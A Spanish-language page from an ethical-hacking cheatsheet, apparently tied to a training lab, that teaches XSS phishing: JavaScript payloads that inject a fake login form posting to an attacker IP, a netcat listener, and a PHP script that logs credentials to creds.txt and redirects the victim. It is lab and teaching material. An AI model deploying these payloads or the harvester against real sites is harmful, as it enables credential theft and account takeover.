Cheatsheet
  • Introducción
    • 👾Ethical Hacking Cheatsheet
      • 📕Metodología OSSTMM
      • 📘MITRE ATT&CK
      • 🔢Proceso de Pentesting
      • 💻Instalación del entorno
        • 💻Instalación de VMWare
        • 💻Virtualizar Kali Linux
        • 🎨Personalización del entorno
        • 🕷️Máquinas Vulnerables
          • 💣Metasploitable 3
          • 🖖VPLE
      • 📔Organización y Notas
      • 👜Documentación e informes
        • 👜Documentos iniciales
        • 👜Toma de notas y organización
        • 👜Herramientas de documentación
        • 👜Tipos de informes
        • 👜Componentes de un informe
        • 👜Cómo redactar un hallazgo
        • 👜Consejos y trucos en la realización de informes
        • 👜Caso práctico: Informes
        • 👜CPTS Report
  • Sistemas básicos
    • 🐧Linux
    • 🪟Windows
    • 🔓Puertos y comprobaciones
    • Modos de Red
  • Recopilación de información
    • 🌐Google Hacking
      • 🌐Google Dorks
    • 💻Enumeración
      • 💻Metodología
      • 💻FTP
      • 💻SMB
      • 💻NFS
      • 💻DNS
      • 💻SMTP
      • 💻IMAP/POP3
      • 💻SNMP
      • 💻MySQL
      • 💻MSSQL
      • 💻Oracle TNS
      • 💻IPMI
      • 💻Protocolos de Administración Remota - Linux
      • 💻Protocolos de Administración Remota - Windows
      • 💻Footprinting Lab - Easy
      • 💻Footprinting Lab - Medium
      • 💻Footprinting Lab - Hard
    • 🔎Recopilación de información
      • 🔎Recopilación Pasiva
        • 🔎Subdominios - Pasiva
        • 🔎Identificar Tecnologías
        • 🔎Infraestructura - Pasiva
        • 🔎Fingerprinting
        • 🦭FOCA
        • 🧠OSINT
          • 🧠OSINT a teléfonos
      • 💻Recopilación Activa
        • 💻Reconocimiento automatizado
        • 💻Nmap
        • 💻Nmap Scripting Engine
        • 💻Subdominios - Activa
        • 💻Infraestructura - Activa
        • 💻Virtual Hosts
        • 💻Evasión de IDS
        • 💻Escaneo Avanzado
        • 💻Lab - Recopilación
    • 🕸️Fuzzing
      • 🕸️Gobuster
      • 🕸️Ffuf
      • 🕸️Dirsearch
    • 🕸️Crawling
      • 🕸️Web Crawlers
      • 🕸️Herramientas de Crawling
    • ☁️Hacking en CMS
    • 🍏Hacking en MacOS
  • Análisis de vulnerabilidades
    • 👾Análisis de vulnerabilidades
    • 👽Herramientas de Análisis
      • ⚙️Nmap: Análisis
      • ⚙️Nuclei
      • ⚙️OpenVAS
      • ⚙️Nessus
  • Explotación de vulnerabilidades
    • 💣Explotación en Hosts
      • 🔥Acceso básico
      • 🐚Shells y Payloads
        • 🐚Bind Shells
        • 🐚Reverse Shells
        • 🐚Payloads
        • 💣Metasploit Payloads
        • 🐚Tratamiento de la TTY
        • 🐚Webshells
          • 🐚Laudanum
          • 🐚PHP Webshell
        • 💣Lab de explotación
      • 🔎Buscador de exploits
      • 🔑Password Attacks
        • 🔑Cracking de Contraseñas
        • 🔑Bruteforce de Servicios
        • 🔑Login Bruteforce
          • 🔑Ataques de fuerza bruta
          • 🔑Ataques de diccionario
          • 🔑Ataques Híbridos
          • 🔑Bruteforce con Hydra
          • 🔑Autenticación HTTP básica
          • 🔑Formularios de Login
          • 🔑Medusa
        • 🔑Password Mutations
        • 🔑Contraseñas por defecto
        • 🔑Windows Attacks
          • 🔑Atacando a SAM
          • 🔑Atacando a LSASS
          • 🔑Atacando Active Directory
          • 🔑Credential Hunting - Windows
        • 🔑Linux Attacks
          • 🔑Credential Hunting - Linux
          • 🔑Passwd, Shadow y Opasswd
        • 🔑Archivos Protegidos
        • 🔑Archivos Comprimidos
        • 🔑Políticas de Contraseñas
        • 🔑Administradores de Contraseñas
        • 🔑Labs de contraseñas
          • 🔑Lab de contraseñas - Easy
          • 🔑Lab de contraseñas - Medium
          • 🔑Lab de contraseñas - Hard
      • 👾Atacando Servicios Comunes
        • 👾Ataques a FTP
        • 👾Ataques a SMB
        • 👾Ataques a Bases de Datos
        • 👾Ataques a RDP
        • 👾Ataques a DNS
        • 👾Ataques a Emails
        • 👾Labs - Common Services
          • 👾Lab - Easy
          • 👾Lab - Medium
          • 👾Lab - Hard
      • 🔁Pivoting, Tunelling y Port Forwarding
        • 🔁Redes en Pivoting
        • 🔁Port Forwarding
        • 🔁Remote/Reverse Port Forwarding con SSH
        • 🔁Meterpreter Tunneling & Port Forwarding
        • 🔁Pivoting con Socat
        • 🔁SSH para Windows: plink.exe
        • 🔁Pivoting SSH con Sshuttle
        • 🔁Web Server Pivoting con Rpivot
        • 🔁Port Forwarding con Windows Netsh
        • 🔁Túnel DNS con Dnscat2
        • 🔁SOCKS5 Tunneling con Chisel
        • 🔁ICMP Tunneling con SOCKS
        • 🔁RDP y SOCKS Tunneling con SocksOverRDP
        • 🔁Pivoting: Skills Assessment
        • 🔁Port Forwarding dinámico
      • 🧨Metasploit
        • 🧨Metasploit - Atacando Windows
      • ☠️Msfvenom
      • 🐍Hydra
      • ❌BruteX
      • 🔄File Transfers
      • 💿Buffer Overflow en Linux
    • 💣Explotación en Web
      • ⬆️Ataques de subida de archivos
        • ⬆️Ausencia de validación
        • ⬆️Explotación de subida
        • ⬆️Client-Side Validation
        • ⬆️Filtros de Blacklist
        • ⬆️Filtros de Whitelist
        • ⬆️Filtros de tipo
        • ⬆️Cargas de archivos limitadas
        • ⬆️Otros ataques de carga
        • ⬆️Prevención en carga de archivos
        • ⬆️File Uploads - Skills Assessment
      • 🕸️Ataques Web Modernos
        • 🕸️HTTP Verb Tampering
          • 🕸️Bypass de autenticación
          • 🕸️Bypass de Filtros
          • 🕸️Prevención de HTML Verb Tampering
        • 🕸️IDOR
          • 🕸️Identificación de IDOR
          • 🕸️Enumeración de IDOR
          • 🕸️Bypass de referencias codificadas
          • 🕸️IDOR en APIs Inseguras
          • 🕸️Encadenar vulnerabilidades IDOR
          • 🕸️Prevención de IDOR
        • 🕸️XML External Entity (XXE)
          • 🕸️Local File Disclosure
          • 🕸️Advanced File Disclosure
          • 🕸️Blind Data Exfiltration
          • 🕸️Prevención de XXE
        • 🕸️Ataques Web - Skills Assesment
      • 💣Ataques a Aplicaciones Web
        • 🔎Descubrimiento y enumeración de aplicaciones
        • 💣Ataques a CMS
          • 🔎Wordpress - Enumeración
          • 💣Wordpress - Ataques
          • 🔎Joomla - Enumeración
          • 💣Joomla - Ataques
          • 🔎Drupal - Enumeración
          • 💣Drupal - Ataques
        • 💣Ataques a Servlet Containers
          • 🔎Tomcat - Enumeración
          • 💣Tomcat - Ataques
          • 🔎Jenkins - Enumeración
          • 💣Jenkins - Ataques
        • 💣Ataques a herramientas de monitorización
          • 🔎Splunk - Enumeración
          • 💣Splunk - Ataques
          • 💣PTRG Network Monitor
        • 💣Ataques a aplicaciones varias
          • 💣osTicket
          • 🔎GitLab - Enumeración
          • 💣GitLab - Ataques
          • 💣Tomcat CGI
          • 💣Ataques a CGI - Shellshock
          • 💣Ataques a Aplicaciones de Cliente Pesado
          • 💣Vulnerabilidades Web en Aplicaciones de Cliente Pesado
          • 🔎ColdFusion - Enumeración
          • 💣Coldfusion - Ataques
          • 🔎IIS Tilde - Enumeración
          • 💣Asignación masiva de archivos web
          • 💣Ataques a aplicaciones que se conectan a servicios
          • 💣Otras aplicaciones notables
          • 🛡️Hardening de Aplicaciones
        • 💣Labs - Ataques a Aplicaciones
          • 💣Lab - Ataques a Aplicaciones I
          • 💣Lab - Ataques a Aplicaciones II
          • 💣Lab - Ataques a Aplicaciones III
      • 💉SQL Injection
        • 💉SQLMap
          • 💉Introducción a SQLMap
          • 💉SQLMap - HTTP Request
          • 💉SQLMap - Manejo de errores
          • 💉SQLMap - Ajuste del ataque
          • 💉SQLMap - Enumeración Básica
          • 💉SQLMap - Enumeración Avanzada
          • 💉SQLMap - Bypass de protección web
          • 💉SQLMap - Explotación de S.O.
          • 💉SQLMap - Skills Assessment
      • 💉Command Injection
        • 💉Detección
        • 💉Inyectando comandos
        • 💉Otros operadores de inyección
        • 💉Identificación de filtros
        • 💉Bypass de filtros de espacios
        • 💉Bypass de otros caracteres en Blacklist
        • 💉Bypass de comandos en Blacklist
        • 💉Ofuscación de comandos avanzada
        • 💉Herramientas de Ofuscación de comandos
        • 💉Prevención de Command Injection
        • 💉Command Injection - Skills Assesment
      • 📁Local File Inclusion
      • 💿Cross Site Scripting (XSS)
        • 💿XSS Stored
        • 💿XSS Reflected
        • 💿XSS DOM-Based
        • 💿XSS Discovery
        • 💿XSS Payloads
        • 💿Defacing con XSS
        • 💿Phising con XSS
        • 💿Session Hijacking
        • 💿Prevención de XSS
        • 💿XSS - Skills Assessment
      • 💻API Hacking
      • 🔻DDoS Attack
      • 💡Web Proxies
        • 💡Configuración
        • 💡Interceptando solicitudes
        • 💡Interceptar respuestas
        • 💡Modificación automática
        • 💡Solicitudes repetidas
        • 💡Encoding / Decoding
        • 💡Herramientas de Proxy
        • 💡Burp Intruder
        • 💡Zap Fuzzer
        • 💡Burp Scanner
        • 💡Zap Scanner
        • 💡Extensiones
        • 💡Proxy: Skills Assestment
      • 👨‍🍳Cyberchef
    • 💣Explotación en Redes
      • 😎Man in the middle
      • 🎣Phising
        • 🎣Herramientas de Phising
        • 🎣Seeker y Ngrok
        • 🎣Social Engineering Toolkit
        • 🎣Gophish
      • 🤼Ingeniería Social
      • 🔐Bruteforce a RRSS
      • 🌐Hacking WiFi
        • 🌐Conceptos básicos
        • 🌐Redes Básicas
        • 🌐Sniffing
        • 🌐Deauth
        • 🌐Redes ocultas
        • 🌐WEP Cracking
          • 🌐Ataque a WEP
          • 🌐Fake Autentication
          • 🌐Packet Injection
            • 🌐ARP Request Replay
            • 🌐Chop Chop
            • 🌐Fragmentation
          • 🌐Redes SKA
        • 🌐WPS Cracking
        • 🌐WPA/WPA2 Cracking
        • 🌐Wifite
        • 🌐Evil Portal
        • 🌐Rainbow Table
        • 🌐WPA/WPA2 Enterprise
    • 📕Diccionarios Custom
      • 📕Username Anarchy
      • 📕Cupp
      • 📕Crunch
      • 📕CeWL
      • 📕DyMerge
  • Post Explotación
    • 💻Post Explotación
      • 👾Meterpreter
      • 🐈Mimikatz
      • 🔐LaZagne
      • 📩Procdump y lsass.exe
      • ↔️Movimientos Laterales
        • ↔️Pass the Hash (PtH)
        • ↔️Pass the Ticket (PtT) - Windows
        • ↔️Pass the Ticket (PtT) - Linux
      • 🚪Backdoor en binarios
      • 🦅Covenant
      • ⚔️Koadic
      • 💾Bases de datos
        • 💾MySQL
        • 💾PostgreSQL
      • ⚙️P.E. Avanzada
      • 🧼Borrado de evidencias
    • 🌋Escalada de Privilegios
      • 🐧Escalada de privilegios en Linux
        • 🐧Enumeración del entorno
        • 🐧Enumeración de servicios y componentes internos
        • 🐧Búsqueda de credenciales en Linux
        • 🐧Abuso de PATH
        • 🐧Abuso de comodines
        • 🐧Shells restringidos
        • 🐧Permisos especiales
        • 🐧Abuso de permisos Sudo
        • 🐧Grupos privilegiados
        • 🐧Capabilities
        • 🐧Servicios vulnerables
        • 🐧Abuso de Cron
        • 🐧Contenedores
        • 🐧Docker
        • 🐧Kubernetes
        • 🐧Logrotate
        • 🐧Técnicas varias
        • 🐧Exploits del Kernel - Linux
        • 🐧Bibliotecas compartidas
        • 🐧Secuestro de objetos compartidos
        • 🐧Secuestro de librería de Python
        • 🐧Sudo Zeroday
        • 🐧Polkit Zeroday
        • 🐧Dirty Pipe
        • 🐧Netfilter
        • 🐧Hardening en Linux - Privesc
        • 🐧Escalada en Linux - Skills Assesment
        • ⬆️Linpeas
      • 📘Escalada de privilegios en Windows
        • 📘Herramientas útiles
        • 📘Conciencia situacional
        • 📘Enumeración inicial en Windows
        • 📘Enumeración inicial
        • 📘Comunicación con Procesos
        • 📘Privilegios de Usuario en Windows
          • 📘SeImpersonate y SeAssignPrimaryToken
          • 📘SeDebugPrivilege
          • 📘SeTakeOwnershipPrivilege
        • 📘Privilegios de Grupo en Windows
          • 📘Grupos Integrados en Windows
          • 📘Lectores de Registros de Eventos
          • 📘DnsAdmins
          • 📘Hyper-V Administrators
          • 📘Print Operators
          • 📘Server Operators
        • 📘Atacando el Sistema Operativo Windows
          • 📘User Account Control (UAC)
          • 📘Permisos débiles
          • 📘Exploits del Kernel - Windows
          • 📘Servicios vulnerables en Windows
          • 📘DLL Injection
        • 📘Robo de credenciales en Windows
          • 📘Búsqueda de credenciales en Windows
          • 📘Otros archivos interesantes en Windows
          • 📘Otros robos de credenciales en Windows
        • 📘Entornos restrictivos - Citrix
        • 📘Varias técnicas de escalada en Windows
          • 📘Interacción con usuarios
          • 📘Pillaging
          • 📘Técnicas varias
        • 📘Sistemas Operativos Obsoletos
          • 📘Sistemas operativos heredados
          • 📘Windows Server
          • 📘Windows Desktop
        • 📘Hardening en Windows
        • 📘Escalada de privilegios en Windows: Skills Assessment
          • 📘Escenario 1
          • 📘Escenario 2
      • 🔴GTFOBins
  • Evasión de defensas
    • 🛡️Detección y evasión de defensas
      • 🛡️Load Balancing Detector
      • 🛡️Evasión de WAFs
      • 🛡️Evasión de Antivirus
      • 🛡️Herramientas de Evasión
  • Active Directory
    • ☁️Active Directory
      • ☁️Enumeración en AD
        • ☁️AD: Enumeración inicial del dominio
        • ☁️AD: Enumeración de controles de seguridad
        • ☁️AD: Enumeración con credenciales: desde Linux
        • 👁️PowerView
        • ☁️AD: Enumeración con credenciales: desde Windows
        • ☁️AD: Enumeración nativa en Windows
      • ☄️Sniffing desde el Foothold
        • ☄️LLMNR/NBT-NS Poisoning - Desde Linux
        • ☄️LLMNR/NBT-NS Poisoning - Desde Windows
      • 🔫Password Spraying
        • 🔫AD: Políticas de contraseñas
        • 🔫AD: Crear lista de usuarios
        • 🔫Password Spraying Interno - Desde Linux
        • 🔫Password Spraying Interno - Desde Windows
      • 🐺Kerberos
        • ⚔️Hacking en Kerberos
        • ⚔️Kerberoasting desde Linux
        • ⚔️Kerberoasting desde Windows
        • 🗝️Acceso a Credenciales
        • 🗝️Volcado de LSASS y SAM
        • 🗝️Credenciales cacheadas
        • 🗝️Pass the Hash
        • 🪙Token Impersonation
        • 🎟️ASK-TGT
        • 🎫Golden y Silver Tickets
        • 🐺Kerberos "Double Hop"
      • 🦸‍♂️ACLs - Access Control Lists
        • 🦸‍♂️ACLs Vulnerables
        • 🦸‍♂️Enumeración de ACLs
        • 🦸‍♂️Tácticas de abuso de ACLs
      • 🔄DCSync
      • ⬆️Acceso Privilegiado
      • ❤️‍🩹Vulnerabilidades en AD
      • ⚙️Malas configuraciones en AD
      • 🤝Relaciones de confianza
        • 🤝Ataque de confianza de dominio - Desde Windows
        • 🤝Ataque de confianza de dominio - Desde Linux
        • 🤝Abuso de confianza entre bosques - Desde Windows
        • 🤝Abuso de confianza entre bosques - Desde Linux
      • ☁️Vulnerable AD
      • ⬇️SAM
      • 🔐LDAP
        • 🔐Atacando LDAP
      • 🔐NTDS
      • 🔐NTLM/SMB Relay
      • 🩸BloodHound
      • 🛡️Hardening en AD
      • 💻Técnicas adicionales de auditoría en AD
      • 💻AD - Skills Assessment I
      • 💻AD - Skills Assessment II
  • Hacking en entornos reales
    • 🏛️Enterprise Hacking
      • 🏛️Escenario y KickOff
      • 🏛️Enterprise Hacking Checklist
      • 🏛️Pruebas externas
        • 🏛️Recopilación de Información Externa
        • 🏛️Enumeración y explotación de servicios
        • 🏛️Enumeración y explotación web
        • 🏛️Acceso inicial
      • 🏛️Pruebas internas
        • 🏛️Persistencia Post-Explotación
        • 🏛️Recopilación de información interna
        • 🏛️Explotación y escalada de privilegios
      • 🏛️Movimiento lateral y escalada de privilegios
        • 🏛️Movimiento lateral
        • 🏛️Comprometiendo Active Directory
        • 🏛️Post Explotación en Active Directory
        • 🏛️Cierre del pentesting
    • ☁️AWS - Amazon Web Services
    • ⚔️Hacking en AWS
  • Anonimato y privacidad
    • 👹Anonimato y Privacidad
      • 🔒VPN
      • 🔒Proxy
      • 🔒Red TOR
      • 🔒Zero Knowledge Services
  • Machine Learning en Hacking
    • 🧠Machine Learning
      • 🧠Batea
      • 💀Pesidious
  • Hardware Hacking
    • 🐬Flipper Zero
      • 🐬Introducción
        • 🐬qFlipper
        • 🐬Instalar qFlipper en Kali Linux
        • 🐬Recuperación de Firmware
      • 📻Sub-GHz
        • 📻Lectura de señales
        • 📻Lectura de señales RAW
        • 📻Añadir nuevos controles remotos
        • 📻Frecuencias
      • ♒RFID de 125 kHz
        • ♒Lectura de tarjetas RFID
        • ♒Añadir tarjetas RFID manualmente
        • ♒Escritura de datos en tarjetas T5577
        • ♒Microchips para animales
      • 💳NFC
        • 💳Lectura de tarjetas NFC
        • 💳Extracción de claves con MFKey32
        • 💳Desbloqueo de tarjetas con contraseñas
        • 💳Escritura de datos en Magic Cards
        • 💳Añadir nuevas tarjetas NFC
      • 🔴Infrarrojos
        • 🔴Lectura de señales infrarrojas
        • 🔴Controles remotos universales
      • 👿Bad USB
        • 👿Script básico de Youtube
        • 👿Bruteforce de Pins
        • 👿RatLocker
      • 🎨Custom Firmwares
      • 🛜GPIO y Módulos
        • 🛜Marauder Firmware
        • 🛜Escaneo de Redes Wifi
        • 🛜Wifi Password Cracking
        • 🛜Evil Portal
      • 🔘iButton
        • 🔘Lectura de llaves iButton
        • 🔘Agregar llaves iButton manualmente
        • 🔘Escritura de datos en llaves iButton
  • Writeups
    • 🟢Hack the Box
      • 🟠Blurry
      • 🟠Zipping
      • 🟠Hospital
      • 🟢Analytics
      • 🟢Bizness
      • 🟢Boardlight
      • 🟢Broker
      • 🟢Chemistry
      • 🟢Codify
      • 🟢CozyHosting
      • 🟢Devvortex
      • 🟢GreenHorn
      • 🟢LinkVortex
      • 🟢PermX
      • ⚫Report Template
    • 🐋Dockerlabs
      • 🟠Veneno
      • 🟠Inclusion
      • 🟢Walking CMS
      • 🟢Library
      • 🟢Move
      • ⚫Hedgehog
      • ⚫Big Pivoting (WIP)
      • ⚫Report Template
    • 🌩️TryHackMe
      • 🟠Attracktive Directory
      • ⚫Report Template
    • 🌐Over The Wire
      • 🌐Bandit
      • 🌐Natas
Con tecnología de GitBook
En esta página
  • Descubrimiento XSS
  • Inyección de formulario de inicio de sesión
  • Limpiando la web
  • Robo de credenciales
  • Caso práctico
  • Descubrimiento XSS
  • Inyección de formulario
  • Limpieza de web
  • Robo de credenciales
  • Obteniendo la flag

¿Te fue útil?

  1. Explotación de vulnerabilidades
  2. Explotación en Web
  3. Cross Site Scripting (XSS)

Phising con XSS

AnteriorDefacing con XSSSiguienteSession Hijacking

Última actualización hace 8 meses

¿Te fue útil?

Otro tipo muy común de ataque XSS es el ataque de phishing. Los ataques de phishing suelen utilizar información que parece legítima para engañar a las víctimas y conseguir que envíen su información confidencial al atacante. Una forma común de ataques de phishing XSS es inyectar formularios de inicio de sesión falsos que envían los datos de inicio de sesión al servidor del atacante, que luego pueden utilizarse para iniciar sesión en nombre de la víctima y obtener el control de su cuenta y de su información confidencial.

Además, supongamos que identificamos una vulnerabilidad XSS en una aplicación web de una organización en particular. En ese caso, podemos utilizar dicho ataque como un ejercicio de simulación de phishing, lo que también nos ayudará a evaluar el nivel de concienciación en materia de seguridad de los empleados de la organización, especialmente si confían en la aplicación web vulnerable y no esperan que les haga daño.


Descubrimiento XSS

Comenzamos por intentar encontrar la vulnerabilidad XSS en la aplicación web en el directorio /phishing de la app vulnerable de esta sección. Cuando visitamos el sitio web, vemos que es un simple visualizador de imágenes en línea, donde podemos ingresar la URL de una imagen y la mostrará:

Este tipo de visualizadores de imágenes es común en foros en línea y aplicaciones web similares. Como tenemos control sobre la URL, podemos comenzar a usar el payload XSS básico que hemos estado usando. Pero cuando probamos esa payload, vemos que no se ejecuta nada y obtenemos el ícono dead image url:

Entonces, debemos ejecutar el proceso XSS Discovery que aprendimos previamente para encontrar un payload XSS que funcione.

Consejo: para comprender qué payload debería funcionar, intente ver cómo se muestra su entrada en la fuente HTML después de agregarla.


Inyección de formulario de inicio de sesión

Una vez que identificamos una payload XSS que funciona, podemos proceder al ataque de phishing. Para realizar un ataque de phishing XSS, debemos inyectar un código HTML que muestre un formulario de inicio de sesión en la página de destino. Este formulario debe enviar la información de inicio de sesión a un servidor en el que estamos escuchando, de modo que, una vez que un usuario intente iniciar sesión, obtengamos sus credenciales.

Podemos encontrar fácilmente un código HTML para un formulario de inicio de sesión básico, o podemos escribir nuestro propio formulario de inicio de sesión. El siguiente ejemplo debería presentar un formulario de inicio de sesión:

<h3>Please login to continue</h3>
<form action=http://NUESTRA_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

En el código HTML anterior, se encuentra la IP de nuestra máquina virtual (NUESTRA_IP), que podemos encontrar con el comando (ip a). Más adelante escucharemos en esta IP para recuperar las credenciales enviadas desde el formulario. El formulario de inicio de sesión debería verse de la siguiente manera:

<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>
document.write('<h3>Please login to continue</h3><form action=http://NUESTRA_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

Ahora podemos inyectar este código JavaScript utilizando nuestro payload XSS (es decir, en lugar de ejecutar el código JavaScript alert(window.origin)). En este caso, estamos explotando una vulnerabilidad Reflected XSS, por lo que podemos copiar la URL y nuestro payload XSS en sus parámetros, como hemos hecho en la sección Reflected XSS , y la página debería verse de la siguiente manera cuando visitemos la URL maliciosa:


Limpiando la web

Podemos ver que el campo URL todavía se muestra, lo que anula nuestra línea de " Please login to continue". Por lo tanto, para alentar a la víctima a usar el formulario de inicio de sesión, debemos eliminar el campo URL, de modo que pueda pensar que tiene que iniciar sesión para poder usar la página. Para ello, podemos usar la función de JavaScript function document.getElementById().remove().

Para encontrar el elemento HTML id que queremos eliminar, podemos abrir el Page Inspector Picker con [ CTRL+SHIFT+C] y luego haciendo clic en el elemento que necesitamos:

Como vemos tanto en el código fuente como en el texto flotante, el formulario tiene el id urlform:

<form role="form" action="index.php" method="GET" id='urlform'>
    <input type="text" placeholder="Image URL" name="url">
</form>

Entonces, ahora podemos usar esta identificación con la función remove() para eliminar el formulario URL:

document.getElementById('urlform').remove();

Ahora, una vez que agregamos este código a nuestro código JavaScript anterior (después de la función document.write), podemos usar este nuevo código JavaScript en nuestro payload:

document.write('<h3>Please login to continue</h3><form action=http://NUESTRA_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

Cuando intentamos inyectar nuestro código JavaScript actualizado, vemos que el formulario URL ya no se muestra:

También vemos que todavía queda un fragmento del código HTML original después de inyectar el formulario de inicio de sesión. Se puede eliminar simplemente comentándolo, agregando un comentario de apertura HTML después del payload XSS:

...PAYLOAD... <!-- 

Como podemos ver, esto elimina el resto del código HTML original y nuestro payload debería estar lista. Ahora parece que la página requiere un inicio de sesión de forma legítima:

Ahora podemos copiar la URL final que debería incluir todo el payload y podemos enviarlo a nuestras víctimas e intentar engañarlas para que utilicen el formulario de inicio de sesión falso. Puedes intentar visitar la URL para asegurarte de que mostrará el formulario de inicio de sesión como se espera. Intenta también iniciar sesión en el formulario de inicio de sesión anterior y observa qué sucede.


Robo de credenciales

Finalmente, llegamos a la parte en la que robamos las credenciales de inicio de sesión cuando la víctima intenta iniciar sesión en nuestro formulario de inicio de sesión inyectado. Si intentara iniciar sesión en el formulario de inicio de sesión inyectado, probablemente obtendría el error This site can’t be reached. Esto se debe a que, como se mencionó anteriormente, nuestro formulario HTML está diseñado para enviar la solicitud de inicio de sesión a nuestra IP, que debería estar escuchando una conexión. Si no estamos escuchando una conexión, obtendremos un error site can’t be reached.

Por lo tanto, iniciemos un servidor netcat simple y veamos qué tipo de solicitud recibimos cuando alguien intenta iniciar sesión a través del formulario. Para ello, podemos comenzar a escuchar en el puerto 80 en nuestro Kali Linux, de la siguiente manera:

afsh4ck@kali$ sudo nc -lvnp 80
listening on [any] 80 ...

Ahora, intentemos iniciar sesión con las credenciales test:test y verifiquemos el resultado que obtenemos ( No olvides reemplazar NUESTRA_IP en el payload XSS con tu IP real):

connect to [10.10.XX.XX] from (UNKNOWN) [10.10.XX.XX] XXXXX
GET /?username=test&password=test&submit=Login HTTP/1.1
Host: 10.10.XX.XX
...SNIP...

Como podemos ver, podemos capturar las credenciales en la URL de la solicitud HTTP ( /?username=test&password=test). Si alguna víctima intenta iniciar sesión con el formulario, obtendremos sus credenciales.

Sin embargo, como solo estamos escuchando con netcat, no manejará la solicitud HTTP correctamente y la víctima obtendría un error Unable to connect, lo que podría generar algunas sospechas. Por lo tanto, podemos usar un script PHP básico que registre las credenciales de la solicitud HTTP y luego devuelva a la víctima a la página original sin ninguna inyección. En este caso, la víctima puede pensar que inició sesión correctamente y usará el Visor de imágenes como estaba previsto.

El siguiente script PHP debería hacer lo que necesitamos y lo escribiremos en un archivo en nuestra VM al que llamaremos index.php y lo colocaremos en /tmp/tmpserver/ (No olvides editar el SERVER_IP para que apunte a la página objetivo):

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

Ahora que tenemos nuestro archivo index.php listo, podemos iniciar un servidor PHP de escucha, que podemos usar en lugar del listener netcat básico que usamos anteriormente:

afsh4ck@kali$ mkdir /tmp/tmpserver
afsh4ck@kali$ cd /tmp/tmpserver
afsh4ck@kali$ sudo nano index.php # En este paso escribimos el archivo index.php
afsh4ck@kali$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Intentemos iniciar sesión en el formulario de inicio de sesión inyectado y veamos qué obtenemos. Vemos que nos redirecciona a la página original del Visor de imágenes:

Si revisamos el archivo creds.txt en nuestro Kali Linux, vemos que obtuvimos las credenciales de inicio de sesión:

afsh4ck@kali$ cat creds.txt
Username: test | Password: test

Caso práctico

Intenta encontrar un payload XSS que funcione para el formulario de URL de imagen que se encuentra en '/phishing' en el servidor mencionado anteriormente y luego usa lo que aprendiste en esta sección para preparar una URL maliciosa que inyecte un formulario de inicio de sesión malicioso. Luego visita '/phishing/send.php' para enviar la URL a la víctima, y ​​esta iniciará sesión en el formulario de inicio de sesión malicioso. Si hiciste todo correctamente, deberías recibir las credenciales de inicio de sesión de la víctima, que puedes usar para iniciar sesión en '/phishing/login.php' y obtener la flag.

Objetivo: 

Descubrimiento XSS

Al testear varios scripts XSS encontramos uno que nos lanza una alerta, por lo que vamos a usar ese esquema para ejecutar el ataque:

'><script>alert("XSS testing");</script>

Al revisar el código fuente vemos que se ha inyectado correctamente:

Inyección de formulario

Vamos a usar el siguiente payload para inyectar un formulario que apunte a nuestra IP de atacante:

'><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.14.182:80><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');</script>

Vemos que se inyecta el formulario correctamente, pero vamos a limpiar los elementos innecesarios.

Limpieza de web

Tenemos que limpiar 2 elementos de la web para dejarlo con una buena apariencia:

  1. El input de URL

  2. El texto plano suelto del final

Vamos a usar el siguiente payload:

'><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.14.182><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script> <!-- 

Limpia! Y si vemos el código fuente también han desaparecido los elementos:

Además, vamos a darle un mejor aspecto tocanto el código html para poner los inputs en vertical:

'><script>document.write('<h3 style="text-align: center;">Please login to continue</h3><form action=http://10.10.14.182:80><input style="width: 20%; padding: 5px 5px; margin: 0px auto; box-sizing: border_box; display: block;" type="username" name="username" placeholder="Username"><input style="width: 20%; padding: 5px 5px; margin: 10px auto; box-sizing: border_box; display: block;" type="password" name="password" placeholder="Password"><input style="width: 20%; padding: 5px 5px; margin: 0px auto; box-sizing: border_box; display: block;" type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--

Robo de credenciales

Ahora si abrimos un listener de netcat por el puerto 80 y introducimos las credenciales test:test nos devuelve las credenciales, pero no devuelve ninguna acción al servidor, con lo que el usuario podría sospechar:

Para ello, vamos a usar el script PHP que hemos visto en esta sección, y lo vamos a guardar el script como index.php en el directorio /tmp/tmpserver:

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://10.129.140.58/phishing/index.php");
    fclose($file);
    exit();
}
?>

Ahora que tenemos nuestro archivo index.php listo, podemos iniciar un servidor PHP de escucha, que podemos usar en lugar del listener netcat básico que usamos anteriormente:

afsh4ck@kali$ mkdir /tmp/tmpserver
afsh4ck@kali$ cd /tmp/tmpserver
afsh4ck@kali$ sudo nano index.php # En este paso escribimos el archivo index.php
afsh4ck@kali$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

Bingo! Recibimos las credenciales correctamente y nos redirige a la página index.php:

Obteniendo la flag

Ahora que tenemos todo configurado correctamente, nos vamos a copiar la URL de nuestra página de login que ya hemos modificado con el formulario de phising y vamos a pegarla en la página send.php:

URL de login
